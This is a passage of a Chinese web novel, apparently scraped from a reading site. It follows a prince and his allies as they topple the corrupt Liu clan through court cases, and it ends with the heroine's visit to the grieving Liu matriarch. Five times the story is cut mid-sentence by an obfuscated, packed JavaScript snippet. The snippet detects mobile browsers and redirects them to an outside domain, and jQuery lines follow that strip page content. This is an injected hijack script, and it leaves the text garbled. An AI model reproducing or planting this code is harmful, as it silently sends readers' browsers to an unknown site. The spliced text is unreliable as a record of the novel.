“有道理!”棠云麒眼睛一亮,拳头不自觉地握紧。
“等杨大柱和刘禾生告赢了,那些被柳家害得缺胳膊少腿、侥幸捡回一条命的苦主们,保不准就都敢站出来了。”
一直安静旁听的晏逐星忽然插话:“大哥,你是不是忘了,爹爹还没出手呢。”
棠云麒猛地一拍脑门,恍然大悟:“对对对!怎么把爹给忘了!”
他兴奋地来回踱了两步。
“这两件事后,爹再带着那些被柳家冒名顶替、夺了功名的寒门学子去告官,柳家怕是有嘴也说不清了。”
柳家祸害无辜百姓的性命,又冒名顶替寒门学子的科考资格,这两件事一前一后爆出来,柳家人休想挽回他们的名声了。
看着棠云麒亢奋的模样,晏逐星反倒没有太激动。
她微微蹙眉,看向了谢翊宁。
“只是咱们这样接二连三的激怒柳家,他们会不会对王爷下死手?”
“本王就等他出手呢。”谢翊宁对上她的眼,笑得像只狡猾的狐狸。
柳家不动手,他借来的一千精兵不就浪费了么。
只要他们一动手,谋害亲王的帽子扣下去,柳家连根拔起,名正言顺。
如果他们一直不动手,必要的时候,他倒也不介意来一场“贼喊捉贼”。
他这话里的狠厉与决断,晏逐星瞬间就明白了。
上回被追杀的惊悸又被勾了起来。
如今亲人都在身边,她比任何时候都害怕失去。
她用力抿了抿唇,鼓起勇气看向谢翊宁:“王爷,我有一个法子,或许会更安全一些。”
“哦?说来听听。”谢翊宁洗耳恭听。
晏逐星便将这几日她在干的事情说了出来。
“我让双鲤在坊间和柳家仆役中仔细探听过。柳家现任家主柳承宗的原配夫人,自打十二年前起,就深居简出,几乎断了与外界的联系,一心在府中佛堂礼佛。”
“起因,便是柳承宗将那外室子柳文博接回府中认祖归宗后不久,她所出的两个嫡子竟接二连三地意外亡故了。长子坠马,次子落水,都发生在柳文博回府后一年之内!”
“接连痛失爱子,柳夫人心如死灰,从此青灯古佛,只为早夭的儿子们诵经祈福,再不过问柳家事务。”
谢翊宁点了点头。
这两件事他也知道了。
最初他还想着利用一下柳家长房嫡子,没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106016|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到那个柳文博竟然这般心狠手辣,长房嫡子全没了。
他还脱身脱得那么干净,只能从二房三房入手了。
他就不信,二房三房的嫡子能容忍一个外室子当继任家主。
“你是想利用柳夫人?”谢翊宁盯着她的眼睛。
“哎呀王爷,什么利用不利用,那是互惠互利。”棠云麒打了个岔。
他可听不得这种词出现在妹妹身上。
晏逐星扶额。
完了,这下不止双鲤,大哥也被她带歪了。
不对,大哥本就在江湖中行走,说不定他早就歪了。
见晏逐星盯着自己,棠云麒赶忙又将话题转了回来:“婋婋,可一个深居简出不管家事的夫人,能帮我们什么呢?”
虽然还未与柳夫人接触过,但晏逐星的语气却带着一丝丝笃定:“大哥,你觉得一个母亲真的能轻易放下杀子之恨吗?”
棠云麒沉默了。
他觉得不能。
如果他们兄妹三人出事了,阿娘一定会倾尽全力为他们复仇。
即便那个时候地位或许不稳,阿娘一定会韬光养晦,找准时机为他们报仇。
“棠大公子,莫要小觑了任何一位女子。”谢翊宁摇着扇子,笑眯眯地看着棠云麒。
“有时候,恰恰是那些被视若无物、弃如敝履的女子,轻轻一推,便能令看似坚不可摧的庞然大物轰然倒塌。”
当初的定远侯,朝华长公主一家以及温家人,不都是因为看不起小恩人一个小小女子,这才落得了家破人亡,**,还有被贬离京的下场么。
“受教了。”棠云麒拱了拱手,露出一副劫后余生的表情。
还好阿娘不在。
若不然听到他刚刚那句质疑的话,恐怕会把他脑袋都捶肿。
他看向晏逐星:“那婋婋你可想好用什么法子接近那个柳夫人了么?”
说完他又有些担忧。
“如今柳家被状告,他们警惕性提高了许多,想要混进去可不容易。”
晏逐星微微一笑:“谁说我要混进去了。”
第311章 王爷的态度
“那你是打算……?”棠云麒一脸好奇。
“当然是光明正大的去啦。我是县主,去做个客,他们总不能拒绝吧。”晏逐星笑眯眯地开口。
“不好吧?”开口反对的是谢翊宁。
他的眉心拧成了一团。
让小恩人深入虎穴去涉险,他不放心。
但直接说不允许,小恩人肯定不高兴,她做出的决定,不会轻易更改,到时候说不定会偷偷去。
“本王觉得没那个必要。”谢翊宁语气多了几分强硬,但一对上晏逐星的眼睛,立刻又放柔和了几分。
“就算柳夫人不帮我们,本王也有办法拿下他们。”
“王爷放心。”晏逐星唇角微扬,语气轻快。
“如今在明面上,我与他们柳家是八竿子打不着,井水不犯河水。”
“我堂堂一个县主,带着贺礼,高高兴兴登门去拜访,他们柳家难道还能当着满城百姓的面,给我下黑手么?”
“就像大哥平日里说的那样,去一趟也不会吃什么亏,但若有了意外收获,那就再好不过了。”
说到最后,她看向棠云麒寻求认同,眼里满是期待:“大哥,你说对吧?”
“对是对……”棠云麒没想到自己平日里琢磨的想法全被妹妹猜得透透的。
这道理搁自己身上行得通,刀山火海他敢闯,但落到宝贝妹妹头上,他这心就七上八下没着落。
那句“但是太冒险了”还没来得及说出口,就听到永安王斩钉截铁道:“好!就按你说的办!”
“啊?”棠云麒彻底懵了,难以置信地看向谢翊宁。
怎么回事?
王爷这态度转得比陀螺还快。
明明先前他也不是很赞成婋婋去柳家的嘛,结果婋婋才说了几句话,他就倒戈了?
谢翊宁无视了他惊愕的目光,看向晏逐星:“你想去做什么,只管放手大胆去做,天塌下来有本王顶着。”
看到晏逐星眼里的期待,他心底就不纠结了。
重生之后,他不就打算要护着小恩人,让她能随心所欲、痛痛快快地活着么?
既然她有这份胆识和智谋,他又何必用担忧捆住她的手脚?
横竖有他在。
天大的篓子,他都能替她兜回来!
就算他兜不回来,那也还有父皇母后和太子哥哥嘛。
谢翊宁理直气壮。
*
几人商议了到了半夜,这才散去各自回屋。
结果棠云麒还没睡醒,就被娘亲揪住了耳朵质问:“昨夜跑哪鬼混去了?”
困得迷迷糊糊的棠云麒脱口而出:“什么鬼混,我那是帮王爷办事。”
“王爷手底下那么多能干的人,用得着你?”方青鸾表示怀疑。
棠云麒:“……”
他也很能干的好吗!
晏逐星揉着眼睛起身要找娘亲,就看到了这一幕。
“阿娘,大哥。”
听到她的声音,棠云麒忙道:“娘,给个面子呗。”
方青鸾这才松开了手,笑呵呵地看向晏逐星:“婋婋呀,怎么了?”
“今日我要去一趟柳家,您要不要陪我一块去呀?”她上前一步,挽住了娘亲的胳膊。
这几日她与娘亲交了几次手,发现阿娘的武功虽然没有受过正统训练,但是她长期捕猎,招式间带着一股林间野兽般的狠劲和刁钻,却能将自己逼得连连后退。
这样的招式章法,倒是比永安王身边的护卫还要厉害几分。
阿娘这些日子总担心她比不上京城里那些贵夫人,倒不如趁这个机会,先让她拿青州这些豪门主母练练手,先接触接触。
好让她知晓,什么达官贵人,高门贵女,都和她一样是吃五谷的凡夫俗子。
只不过她们更会糊弄人一些。
阿娘只要学会她们糊弄人的本事,就不必担心露怯了。
“好。你想让阿娘去,阿娘就陪你去。”方青鸾毫不犹豫地答应了下来。
“只是阿娘不懂他们的规矩,会不会给你丢人啊?”她顿时又有些迟疑了。
“不会。阿娘是世上最好的阿娘。您不是把那些贵人们打交道最要紧的规矩都摸熟了么?”晏逐星一脸正色。
原本是打算回了京城,再让宫里出来的池嬷嬷和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113301|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王府的花嬷嬷一块儿好好教教娘亲那些繁文缛节。
可眼下阿娘刚闲下来,正闲得发慌,她便干脆先把那些最要紧的规矩一股脑儿教给了阿娘。
说起来,她阿娘个头高挑,身量笔挺,稍加妆点,只要不开口,往那儿一站,瞧着倒真有几分正经端庄贵夫人的模样。
“有道理。”听女儿说得这般笃定,方青鸾心底的迟疑消散了大半。
长子都去给王爷帮忙了,她也不能在家干坐着,她也可以给女儿帮忙。
母女二人就这样亲亲密密地挽着胳膊去吃了早饭。
晏逐星把去柳家的真实目的告诉了阿娘。
她觉得,同为母亲,娘亲有一个走丢十几年的女儿,柳夫人有**的两个儿子,她们应该能聊到一起去。
能说动柳夫人最好,不行也无妨。
方青鸾若有所思地点了点头。
“你放心,此事阿娘一定想办法给你办成,当年你爹寻死觅活,还不是我一番话就让他有了生的勇气。”
“柳夫人只要心底还惦记着儿子,她就不可能不恨柳承宗。”
看着两人离去的背影。
棠云麒只想说:还有他呢,怎么不把他也叫上一块吃早饭?
他欲哭无泪。
被娘这么一闹,睡不下去了,只得起身洗漱,准备待会跟过去吃早饭。
刚弄完,就看到二弟棠云麟端着几个包子走了过来。
他顿时感动不已。
太好了,二弟真贴心,还记得他这个大哥没吃上早饭。
不曾想,棠云麟顿住了脚步四下张望了一圈:“娘和婋婋呢?”
“吃早饭去了啊,你们没遇上?”棠云麒一脸疑惑。
“没呀。”棠云麟摇了摇头。
他还以为阿娘和妹妹在大哥这吃早饭呢,特意送过来了。
“所以你手里的包子,是给阿娘和婋婋的?”棠云麒笑脸顿时垮了。
棠云麟一脸正色道:“怎么会呢。来,大哥,你吃早饭。”
棠云麒:“……”
别以为他没看到他刚刚下意识地点头了。
就忽悠他吧!
第312章 翻脸不认人
和晏逐星拜帖一块送到柳家的,还有刘禾生去青州知府府衙状告他们的消息。
“这群贱民疯了吗?”柳承德感到不可思议。
杨大柱的案子,邢天海说了今日会审。
如今又冒出了一个刘禾生。
“老三,沉住气,邢天海怎么做的?”柳承宗扫了三弟一眼,语气冷淡。
他没想到永安王竟然这般咄咄逼人。
毛头小子,果然张狂。
真当青州是京城啊。
来了青州,是条龙也得给他盘着。
“邢天海今日倒是机灵,刘禾生刚喊了一声要状告柳家,他便派人将他客客气气地请了进去,说会还他一个公道,没让那些贱民在府衙面前多做纠缠。”
柳承德提起这事,还算满意。
但说到下一句话,火气就又勾起来了。
“那老狗,又暗示咱们要钱。说一码归一码,杨大柱的事情他会办妥,但刘禾生的事情是另外的价钱。”
柳承宗和柳承岳都皱起了眉头。
这个邢天海不对劲啊。
刚来的时候,明明对他们恭恭敬敬的,怎么忽然胆子就大起来了,敢这样明目张胆地索贿了。
“大哥,咱们真的还要再给他银子么?”柳承德愤愤不平、
“给。”柳承宗毫不犹豫地下令。
“昨日的礼,照着备一份过去呀。当下最要紧的事是先把这些贱民的嘴给堵上。”
如今他们明面上,还得靠邢天海这个知府给他们辟谣,暂时动不得他。
但等风波过了,邢天海拿了他柳家多少银子,就都得给他吐出来。
“老二,你亲自送过去,盯着他审案子。”柳承宗看向了二弟。
三弟太过鲁莽,都已经是当爷爷的人了,还那么沉不住气。
这事还得让老二去办。
“是。”柳承岳应下,立即去办。
柳承德有些不满,但还是把话咽了回去。
“那……那个令嘉县主呢,咱们当真要迎她来做客?”柳承德把话头转向了另一桩心事。
柳承宗端起茶盏,目光微沉:“县主肯赏光,自然是柳家的荣幸,没有不迎的道理。”
他顿了顿,饮了一口茶,随后将声音压低了几分。
“正好借这个机会,探探这位县主的虚实深浅。她来柳家,所图是什么?更重要的是,她与永安王走动那般近,对我们柳家如今的处境,究竟知情几分?”
他放下茶盏拍了拍三弟的肩膀:“让你夫人和二弟妹一块领着家里的姑娘迎她。”
“是。”柳承德心底这才舒坦了。
大哥也还是很看重他的嘛。
*
柳承岳刚把一千两银票和一对东珠耳坠送到邢天海手里,没一会儿,东西就全送到了永安王的宅子里。
谢翊宁对此当然是笑纳了。
他看向鸣珂:“棠家村重建一事,进行得如何了?”
鸣珂翻出随身携带的簿册,恭敬回道:“回王爷。村中废墟杂物已全部清理完毕,地面平整。随时可动工建房。”
“依原样重建二十一户,连带修水井、铺村路、整祠堂,精打细算,三百两足矣。”
“三百两就够了?”谢翊宁脱口而出,眼中满是不可置信。
他还以为起码得三千两呢。
“够了王爷。”鸣珂语气笃定,一笔一笔账给他算了出来。
“清理废墟、平整地面,用的是秦指挥使给您安排的那二百人,两天就干完了。”
“剩下建房是重头。木料石料从三十里外采买,运脚费了些。请了八个瓦匠、十二个木匠,连带小工,按户包工包料。二十一户宅院,连带水井、祠堂、村路,料钱二百二十五两,工钱七十五两。”
“三百两,正好。”鸣珂合上册子,抬眼看向王爷,“按照进度,约莫半个月棠家村就能重新建好了。”
谢翊宁一怔,而后也反应了过来。
对于他来说,三百两银子不算什么。
王府库房里拨出的流水,动辄以千、万计。三百两,不过是宴席上几坛好酒,或是贵人们的几件衣裳。
但是对于普通百姓来说,三百两银子已经是天价。
他想起了棠云麒说过的,他娘去码头扛大包、做苦工,拼死拼活干一个月,也就挣三两银子,这已经是极好的情况了。
寻常五口农家,一年到头,刨去赋税徭役、口粮种子,能攒下三五两银子已是老天开眼。
他再看向柳家**的那一千两银子,顿时怒从心头起。
他们这一千两银子,能重建多少个村庄了,能够多少百姓吃饱喝足了。
柳家铲除,势必要快。
慢一天,他们这窝蛀虫,不知又要吸干多少户人家的血汗,不知又要逼死多少条无辜的性命。
“去,让邢天海今日两案一并审理了。本王要看到杨大柱和刘禾生无罪释放,今日出面的柳家人,必须要入狱。”谢翊宁毫不犹豫地下了命令。
“不要给他们反应过来的机会。这案子审完,就让棠先生带着那些寒门学子一起去府衙继续告。一定告到全青州的百姓都知道。”
府衙越乱,柳家人越慌,他们才会顾及不上晏逐星。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113302|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>到时候晏逐星和棠夫人在柳家,才会更容易打听到有用的消息。
“是。”鸣珂应下,当即将他的意思传到了邢天海的耳朵里。
邢天海后背的官袍瞬间被冷汗浸透,永安王这是要害死他啊。
这哪是让他审案,分明是把他架在火上烤,逼他亲手把柳家往死里得罪。
但永安王的船,上了就下不来了。
他别无选择,只得深吸一口气,抱着视死如归的悲壮,重重一拍惊堂木:“升堂!带原告杨大柱、刘禾生,被告柳家二老爷柳承岳!”
杨大柱被带上来,扑通跪倒,控诉了起来:“青天大老爷!求您要给俺兄弟栓子做主啊!”
“他们抓了俺兄弟去那见不得人的搏命窟,逼他跟饿红了眼的畜生搏命。俺兄弟才十六岁啊!”杨大柱说到痛处,几乎喘不上气。
“……俺兄弟被咬死之后,他们转头就诬赖俺兄弟偷了船厂的贵重木料!他们根本就不是人!不是人啊!”
柳承岳眼皮都没抬一下,语气淡定:“刁民信口雌黄!杨栓子偷窃船厂楠木,人赃并获!分明是畏罪潜逃死于意外,与我柳家何干?”
“什么搏命窟?柳家清清白白,根本没有这种地方!休要在此妖言惑众。”
邢天海手心全是汗,强作镇定看向第二个原告:“刘禾生,你有何冤情?”
刘禾生脸色发白,下意识看了一眼站在府衙外伸长脖子的家人。
瞧见他爹用眼神使劲鼓励他,刘禾生咽了口唾沫,终于鼓起勇气开口,声音还有些发颤:“回大人,小人刘禾生,原是柳家船厂学徒。去年也被他们强掳去那**的搏命窟。”
“我命大,侥幸从那**不吐骨头的地方活了出来,但却丢了一条胳膊。”
他指着自己空荡荡的袖管,越说越悲愤。上公堂的那点紧张此刻全都没了。
“事后,柳家管事给了我十两银子封口,威胁我若敢说出去半个字,就让我**。这半年,我像条狗一样活着,逢人还得说柳家仁义!”
“一派胡言!血口喷人!”柳承岳冷笑。
“当初是你自己学艺不精,弄断了自己的胳膊。亏得柳家每逢十五给你送粮食,结果竟然养出了你这么一头白眼狼。”
邢天海用力拍了一下惊堂木,声音带着不易察觉的紧绷:“肃静!柳承岳,本官尚未问话于你,休得咆哮公堂。”
柳承岳眉头狠狠一拧,心中生出一股不妙的预感。
姓邢的这是什么意思,难不成收了他们两千两银子,还敢翻脸不认人?
第313章 大事不好啦
“刘禾生,你继续说。”邢天海没敢和柳承岳对视,看向了跪在地上的刘禾生。
“是,大人。”刘禾生应下,继续开口。
“昨日那位大兄弟状告柳家人之后,他们晚上就派人来杀我灭口,若非我命大,此刻早就死透了!求大人为小人,为那些死在搏命窟里的冤魂做主啊!”
柳承岳脸色微变,一瞬间就反应过来了。
什么**灭口,是假的!
明明是有人刻意栽赃,为的就是今日诬陷柳家。
他死死盯着邢天海,是他?还是永安王干的?
公堂之上,双方各执一词,气氛剑拔**张。
邢天海的心跳得像擂鼓。
柳承岳那两道**的目光,他怎么可能没看到。
可箭在弦上,他只能硬着头皮往下走。
一个个关键人证被带了上来。
跟刘禾生一样从搏命窟里侥幸活下来的船厂学徒、目睹昨夜黑衣人行凶的刘家街坊、搏命窟那边的一个管事……
永安王将证据安排得滴水不漏。
邢天海猛地一拍惊堂木,他压下紧张,冷硬开口:“人证物证俱在!嫌犯柳承岳,你可认罪?!”
现在压力全都落在了柳承岳身上。
他已经明白,这一开始就是针对柳家的一个局。
柳承岳死死盯着邢天海,目眦欲裂,每一个字都像是从牙缝里硬挤出来的:“柳家没做过的事情,柳家绝不会认。这是污蔑!彻头彻尾的污蔑!”
他这掷地有声的否认像一颗火星掉进了干草堆。
府衙外早已群情激奋的百姓彻底炸开了锅。
“呸!还嘴硬!听听人家说的,有鼻子有眼,还有证人。”
“没看出来啊。柳家表面和和气气,装成大善人,背地里竟然干这些**不吐骨头的勾当。”
“就是就是!逼活人去跟畜生搏命?天打雷劈啊!”
“那姓刘的小后生多惨,一条胳膊都没了,还要被威胁……造孽啊!”
“我说这些年柳家船厂怎么总有年轻后生莫名其妙没了呢?敢情是……”
唾沫星子横飞,议论声、咒骂声一浪高过一浪,无数道鄙夷、愤怒的目光像针一样扎在柳承岳身上。
邢天海看着这汹涌的**,又瞥了一眼柳承岳充满恨意的眼神。
心一横,知道再无退路。
他深吸一口气,猛地一拍惊堂木,声音带着一种刻意拔高的威严:“肃静!公堂之上,岂容喧哗!”
待百姓们声音渐渐安静,他看向柳承岳,朗声宣判:“人证物证俱在,铁证如山!”
“柳承岳,你身为柳家主事之一,纵容乃至主使开设搏命窟,草菅人命,事后栽赃陷害,更欲行凶灭口,罪大恶极。”
“来人,将其押入死牢,待秋后处决。柳家船厂即刻查封,涉案人等,严惩不贷!”
“你……邢天海!你敢!”
柳承岳如遭雷击,脸色瞬间惨白如纸,挣扎着就要扑上去,却被两旁的衙役死死按住。
“你收了我们柳家多少银子,如今竟然反咬我们一口?”他愤怒大吼。
邢天海只觉得脑袋“嗡”的一声,浑身的血都凉了半截,后背瞬间被冷汗浸透。
完了!这家伙怎么把这事也捅了出来。
之前的八千两他收了没错,可后头收他们银子的,是永安王啊!
但他哪里敢把永安王扯出来,只得猛地一拍惊堂木,命人捂住他的嘴怒吼道:“住口!大胆狂徒!”
“本官为官多年,两袖清风,天地可鉴!你这罪大恶极的囚徒,死到临头,竟敢血口喷人,污蔑本官清誉?”
“愣着干嘛,还不速速将其拖入天牢。”
他冲那些衙役们疯狂使眼色。
百姓们听到柳承岳那番话,把目光落在了邢天海身上,还没来得及议论,府衙大门外突然传来一阵更大的骚动声、
只见一群穿着破旧但浆洗得还算干净的青衿学子,簇拥着一个面容清俊的中年人,奋力拨开人群,冲到了府衙大门前。
为首的中年人,正是棠风陵。
他高举着一份状纸,声音洪亮:“青天大老爷!学生棠风陵状告柳家家主柳承宗。”
“柳承宗为替其私生子柳文博谋取功名,徇私舞弊,夺我录科考名额,断我十年寒窗路。恳请大人为我等寒门学子,主持公道!”
他话音未落,身后十几个学子齐刷刷跪下,振臂高呼:
“请大人为我等主持公道!”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113303|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳家只手遮天,夺我功名!”
“还我前程!严惩柳承宗!”
……
刚刚还在议论“搏命窟”**的百姓们,瞬间被这新爆出来“科举舞弊”大案吸引了全部注意力。
私生子、功名、顶替……
这些字眼瞬间让百姓们群情激奋了起来。
“我的老天爷!柳家还干这个?”
“夺人功名?这比**还狠啊!断人前程如**父母!”
“这柳家真是头顶长疮脚底流脓——坏透了!从老到小,没一个好东西!”
“十几个人都来告?这得顶替了多少人?柳家这是把府学的名额都包圆了不成?”
百姓们议论纷纷,义愤填膺。
他们自动将棠风陵身后那十几个学子的冤屈,都算在了柳家头上。
一时之间,“柳家专害读书人”、“柳家把持科举”的言论,在谢翊宁的人的推波助澜之下,迅速传开了。
*
与此同时,晏逐星已经领着娘亲来了柳家内宅。
她们毕竟是女客,柳承宗和柳承德兄弟二人只在前厅行礼寒暄片刻,便将她们交给了二夫人和三夫人招待。
两位夫人得了家主的明示,知道今日要从两人身上挖出有用的东西来,因此对晏逐星二人格外殷勤,就想着从她口中撬出永安王的消息。
没想到,这晏逐星年纪虽小,但问话却滑不留手。
一会儿说她们的发簪好看,一会儿又说她们的衣裳料子不错,他们哪里还能不懂,只能咬牙给她送了许多好东西。
结果还是一句有用的话都没问出来。
就在两人有些不耐烦的时候,一个管事嬷嬷脸色惨白,如同见了鬼一般,跌跌撞撞地冲进了花厅。
她甚至忘了基本的礼数,也顾不得县主在场,带着哭腔尖声喊道:“二夫人!三夫人!不好啦!出大事啦——!”
“慌慌张张,成何体统。”柳二夫人沉声呵斥,脸色很难看。
大嫂礼佛,如今这家是她在当着。
她管教的下人在县主面前失了仪态,成何体统。
管事嬷嬷扑通跪下,哆哆嗦嗦哭着道:“二夫人,二老爷被判了秋后问斩,家主也被府衙的官爷带走了啊!!!”
第314章 不敢触霉头
柳二夫人腿一软,脸上的端庄笑容顿时挂不住了。
“你、你说什么?”她的声音都带着颤抖。
她这辈子经历过的最大风浪,不过是内宅里管事贪墨些银钱,或是后院里争风吃醋、勾心斗角的戏码。
那些宅院里的“大事”,在柳家这样大的靠山面前,都不过是些能轻易摆平的微末小事。
她从未想过,这看起来似乎永远不可撼动的靠山,竟会在一夕之间轰然倒塌。
一旁的柳三夫人同样也吓得脸色惨白。
她顾不得体面,扑过去一把抓住管事嬷嬷的手臂,失声急问:“三老爷呢?三老爷在哪?他没事吧?”
“如今家里乱成一锅粥,三老爷正在前头主持大局呢!”管事嬷嬷赶忙回答,声音里也带着劫后余生的庆幸和后怕。
她从未想过,家主竟然会被官府的差役当众带走。
家主是谁?
那是柳家的天。
只要家主在,柳家这棵大树就枝繁叶茂,他们这些依附其上的藤蔓,哪怕只是最低贱的奴婢,走出去,别人也得赔着笑脸,高看三分,道一声“柳府的人”。
在这青州地界,柳家跺跺脚,地面都要抖三抖的柳家,怎么可能会出事?
得知自家夫君柳承德暂且无事,柳三夫人紧绷的心弦才稍稍一松。
她飞快地瞥了一眼面色惨白说不出话的二嫂,又小心翼翼地觑向端坐一旁神情莫测的晏逐星和方青鸾,心中一团乱麻。
方青鸾瞧见柳三夫人打量的目光,学着女儿面无表情的样子,端起茶,小口小口地喝了起来。
先前这位三夫人说的什么兰花香?
唔,没喝出来。
柳三夫人见她们都不说话,在脸上挤出比哭还难看的歉意笑容,对着晏逐星母女深深一福。
“今日招待不周,万望县主和夫人海涵。柳家骤遭变故,一片狼藉,实在不是待客之所。待家中稍定,柳家必当备厚礼,亲至府上谢罪。恳请县主和夫人先行回府安歇?”
这话说得极其委婉,姿态更是放得极低,就差直接说“求求你们快走吧”。
然而,晏逐星却像是没听懂这逐客令一般。
她脸上浮起一丝担忧:“三夫人言重了。柳家遭此无妄之灾,本县主亦是深感惋惜。这个紧要关头,怎么不见大夫人出来主持大局?”
“大嫂潜心礼佛多年,家中大小事务如今都是二嫂在管理。她身子骨也比寻常人弱些,所以一直深居简出。”
柳三夫人含糊其辞,她推了一把柳二夫人,示意她赶紧一块把县主请走。
柳二夫人回过神来,开口道:“县主,就让三弟妹招待您吧,家中变故,妾身心系夫君,先行告退了。”
见晏逐星点头,她赶忙带着丫鬟去打听自家夫君的情况。
柳三夫人:“……”
她分明是让二嫂和她一块应付令嘉县主,怎么二嫂扔下她就跑了?
晏逐星仿佛没看到柳三夫人脸上的为难,自顾自地继续说道:
“本县主听说柳大夫人温婉贤淑,德才兼备,是难得的大家闺秀。本县主仰慕已久。”
她放下茶盏,笑容更盛,带着不容置疑的坚持。
“今日既已到了府上,又恰逢柳家多事之秋。柳大夫人想必心中更是煎熬忧虑。本县主既然知晓了,岂有不去探望宽慰一番的道理?”
她轻轻巧巧几句话,便将“探病”和“宽慰”这顶合情合理又充满人情味的大帽子扣了下来,堵得柳三夫人哑口无言。
“大嫂许久不见外人,恐怕……”柳三夫人正想再找借口搪塞,就被晏逐星打断了。
“三夫人不必担忧。”晏逐星起身理了理裙裾。
“本县主探望片刻即走,绝不会打扰大夫人静养。烦请引路吧。”
晏逐星直视着柳三夫人,语气平静温和,却半分商量的余地也无。
柳三夫人猛地想起坊间传闻,知府夫人得罪了这位祖宗,可是被当众抽了十鞭子,颜面尽失。
她哪里敢触这霉头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113304|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恐惧压倒了所有的顾虑,她只得硬着头皮答应了下来:“……是,县主和夫人这边请。”
她亲自引着晏逐星母女去了大房的院子。
一路上,柳三夫人的心都快跳出嗓子眼。
她绞紧了手中的帕子,趁着还没到门口,先给自己找借口开脱。
“县主,您有所不知。平日里除了贴身伺候的嬷嬷和丫鬟,连我们妯娌去探望她,都十次有八次被挡在门外,说是怕惊扰了她静养……”
言外之意就是,若她不见你,那可就不能怪我了哦。
不曾想,晏逐星却笑眯眯地看着她:“三夫人与大夫人妯娌情深,想必一定能说服她见本县主。”
柳三夫人:“……”
这就是非见不可的意思了。
早知道她也学二嫂跑路了。
可现在已经赶鸭子上架,再走也来不及了。
她欲哭无泪,只能答应了下来。
走到了柳大夫人的院落。
她给自己的丫鬟使了个眼神。
丫鬟忙上前:“令嘉县主携其母来探望大夫人,烦请姐姐跟大夫人说一声。”
她压低了声音。
“柳家出事了,县主可得罪不得。大夫人务必见一见这位县主。”
大夫人的丫鬟听到这话,脸色骤变,赶忙进去通传。
没过多久,那扇紧闭的房门终于被缓缓打开。
在贴身丫鬟小心翼翼地搀扶下,柳大夫人步履虚浮地走了出来。
只见她身形单薄得厉害,仿佛一阵风就能吹倒。
久居深院,不见天日,使得她的皮肤呈现出一种病态的苍白,毫无血色,甚至透着一丝不祥的青灰。
脸颊两侧深深凹陷下去,颧骨显得异常突出。深陷的眼窝周围是化不开的青黑色阴影,将她的眸子衬得越发空洞、黯淡无光,像是两口枯竭的深井。
丧子之痛磨平了她身上所有的生机,只留下了一具行将就木的躯壳。
“见过县主。”柳大夫人哑着嗓子开口。
第315章 报仇的机会
“大夫人不必多礼。”晏逐星微微颔首,目光温和地落在柳大夫人那毫无生气的脸上,声音温和。
随即,她倏然转头看向一旁如坐针毡的柳三夫人。
“三夫人,你方才不是说家中如今一片狼藉,急需人手打理么?”
“如今二夫人心神俱伤,恐怕难以支撑。你身为柳家三房主母,理当去前头帮着主持大局,稳定人心才是正理。”
柳三夫人明白,这是要支走她。
但她想不明白,大嫂和这个县主有什么关系,县主非要见她不可?
她原想留下继续打探,但想了想,她还是觉得打听家里大老爷们的事情更重要。
大嫂许久不与外人打交道,恐怕也不知道什么重要的事情。
县主要见,就让她见吧。
她应了一声是,便领着丫鬟离开了。
柳三夫人离去后,柳大夫人依旧低垂着眼帘,对周遭的一切恍若未觉。
“大夫人,得请县主落座了。”身旁的丫鬟小声提醒。
柳大夫人这才微微侧身,对着晏逐星母女的方向做了一个“请”的手势。
